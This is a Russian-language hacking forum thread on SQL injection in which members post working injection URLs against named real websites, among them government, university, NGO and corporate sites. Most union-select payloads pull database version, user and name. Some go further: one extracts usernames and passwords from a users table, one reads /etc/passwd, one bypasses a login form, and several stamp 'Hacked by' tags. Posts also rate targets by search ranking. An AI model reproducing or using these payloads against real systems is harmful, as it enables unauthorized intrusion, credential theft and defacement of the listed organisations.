SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.spbf.pt/article.php?sid=-15+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6--
    5.0.96-community:spbfuser_spbf765@localhost:spbfuser_spbfsite
     
  2. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    PR7
    http://www.polimi.it/index.php?id=3351&uid=131&k_cf=10&annoAA=2012'&L=0&k_corso_la=-1139+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+--+
     
    2 people like this.
  3. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.italyfutbol.ru/rubrika.php?id=-11+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5--
     
  4. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    http://www.ssangyong.by/ru/pages/index.php?id=27-9.999+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18,19,20--
     
    _________________________
    2 people like this.
  5. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Argentine
    Code:
    http://www.cdh-protesis.com.ar/sitio/item.php?idcd=-37+union+select+1,concat_ws(0x3a,version(),user(),database()),3,0x4861636b6564206279205365706f,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
    Code:
    http://www.elgalponrosario.com.ar/sitio/item.php?idcd=115&cat=-15+union+select+1,concat_ws(0x3a,version(),user(),database()),3--
    Code:
    http://www.metalurgicavaldez.com.ar/sitio/item.php?idcd=201&cat=-1460+union+select+1,concat_ws(0x3a,version(),user(),database()),3--
     
  6. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    ===========================================
    ===========================================
    ===========================================
    pr:4
    ===========================================
    ===========================================
    ===========================================
    ===========================================
     
    1 person likes this.
  7. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.orsna.gov.ar/usuarios/capitulosleyconsumidor.asp?cod=5'+or+1=(select+db_name())--
    Code:
    http://www.orsna.gov.ar/usuarios/capitulosleyconsumidor.asp?cod=5'+or+1=(select+system_user)--
    Code:
    http://www.orsna.gov.ar/usuarios/capitulosleyconsumidor.asp?cod=5'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
    Code:
    http://www.orsna.gov.ar/usuarios/capitulosleyconsumidor.asp?cod=5'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))--
    дальше сами, тут куча бд и в каждой куча в квадрате таблиц...
     
  8. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    ОАО "Новороссийское морское пароходство" СКФ Новошип
    Code:
    http://www.novoship.ru/info-view.php?id=115%27+union+select+1,2,3,concat_ws%280x3a,name,pass%29,5,6,7,8,9,10,11,12,13,14,15+FROM+nov_users+--+
    Note: Админка - profit!
     
    #15648 Unknowhacker, 25 Nov 2013
    Last edited: 25 Nov 2013
  9. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Code:
    http://www.foxflannel.com/memories-article.php?id=1'+union+select+1,concat_ws(0x3f,table_name,version()),3,4,5,6,7+from+information_schema.tables+limit+50,1+union+select+1,2,3,4,5,6,7--'
    // Нарушение Правил, перечитайте http://forum.antichat.ru/showpost.php?p=2966352&postcount=5 и постарайтесь больше не нарушать
    // BigBear
     
    #15649 DeepBlue7, 28 Nov 2013
    Last edited by a moderator: 28 Nov 2013
  10. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.marvista.net/programing-catalog.php?id=350&cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat_ws(0x3a,version(),user(),database()),16,17,18,19,20,21,22,23,24,25,26,27,28--
    Ctrl+U --> Строка 148 --> 5.0.96-log:[email protected]:marvistadb
     
    1 person likes this.
  11. t3cHn0iD

    t3cHn0iD Banned

    Joined:
    6 Apr 2009
    Messages:
    313
    Likes Received:
    63
    Reputations:
    66
    movieline.ru/auth.php

    В поле псевдоним вводим:
    Code:
    [B]") or ("a"="a[/B]
     
  12. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.desdetupc.com.ar/sitio/item.php?idcd=248&cat=-0+union+select+concat_ws(0x3a,version(),user(),database()),2,3,4,5,6,7,8,9,10,11,12,13--
    Code:
    http://www.ibopeplus.com.ar/item.php?tabla=nutricion&id=-5+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7--
    Code:
    http://polimiel.com.ar/sitio/item.php?idcd=-18+union+select+1,concat_ws(0x3a,version(),user(),database()),0x4861636b6564206279205365706f,4,5,6,7,8,9,10,11,12,13,14&cat=7
     
  13. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    PR5
    http://www.dlrg.de/gr/lernen/lehrgaenge.html?tx_pagephpcontent_pi1%5BSEM_NR%5D=-23151-13'+UnIOn/**//**//**//**/+/**//**//**//**//**//**//**//**//**//**//**/sELeCt+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+from+information_schema.tables+--+
     
    1 person likes this.
  14. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    ТИЦ: 1200
    Pr: 3

    ===============================================
     
  15. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.cardon.com.ar/nota.php?id=-184+union+select+1,2,3,4,5,6,7,8,0x4861636b6564206279205365706f,10,concat_ws(0x3a,version(),user(),database()),12,13,14--
    Code:
    http://www.isca.org.ar/nav_notas.php?id=-71+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),user(),database()),0x4861636b6564206279205365706f,9,10,11,12,13,14,15--
    Code:
    http://lacupulagaleria.com.ar/sitio/evento.php?id=-21+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,0x4861636b6564206279205365706f--
     
    1 person likes this.
  16. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    University of Tennessee System

    University of Tennessee System

    Dept. of Civil & Environmental Engineering
    Code:
    http://cee.utk.edu/announcements/details.php?id=-15+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),user(),database()),8,9,10,11,0x4861636b6564206279205365706f,13,14,15--
     
    1 person likes this.
  17. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    Code:
    http://videogames.eprst.ru/news.php?id=321169.9+union+select+concat(user(),0x3a,file_priv),2,load_file(0x2f6574632f706173737764)+from+mysql.user+where+user=0x6e657773+--+
     
    1 person likes this.
  18. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.cruzroja.org.ar/new/noticia.php?id=188&cat=-1+union+select+1,concat_ws(0x3a,version(),user(),database()),3,0x4861636b6564206279205365706f,5,6,7,8,9,10,11,12--
    Code:
    http://www.riehr.com.ar/detalleEdu.php?id=-6+union+select+1,concat_ws(0x3a,version(),user(),database()),0x4861636b6564206279205365706f,4,5,6,7,8,9,10,11,12,13,14,15--
    Code:
    http://www.redfuv.org.ar/boletin_amp.php?id=-58+union+select+1,2,0x4861636b6564206279205365706f,4,concat_ws(0x3a,version(),user(),database()),6--
     
    2 people like this.
  19. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Навеяно вот этой темой.

    Знаю, что компаний по ИБ не так уж и много.

    Но и они огорчили.

    Стыдно, господа, а ещё работаете с 2004 года =(

    Inject
    Code:
    http://chart.av-comparatives.org/awards_by_vendor.php?venID=2+and+substr((@@version),1,1)=5
    Blind. 5-ая ветка MySQL.

    Тиц 400
    Pr 6
     
    _________________________
    2 people like this.
  20. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.calidus.ro/en/news.php?id=-2+union+select+1,concat_ws(0x3a,version(),user(),database()),3,0x4861636b6564206279205365706f--
    Code:
    http://www.casopisveronica.cz/rubrika.php?idr=-1+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4--
    Code:
    http://www.teatro-elcirculo.com.ar/item.php?iditem=-69+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16/*
     
    1 person likes this.
Thread Status:
Not open for further replies.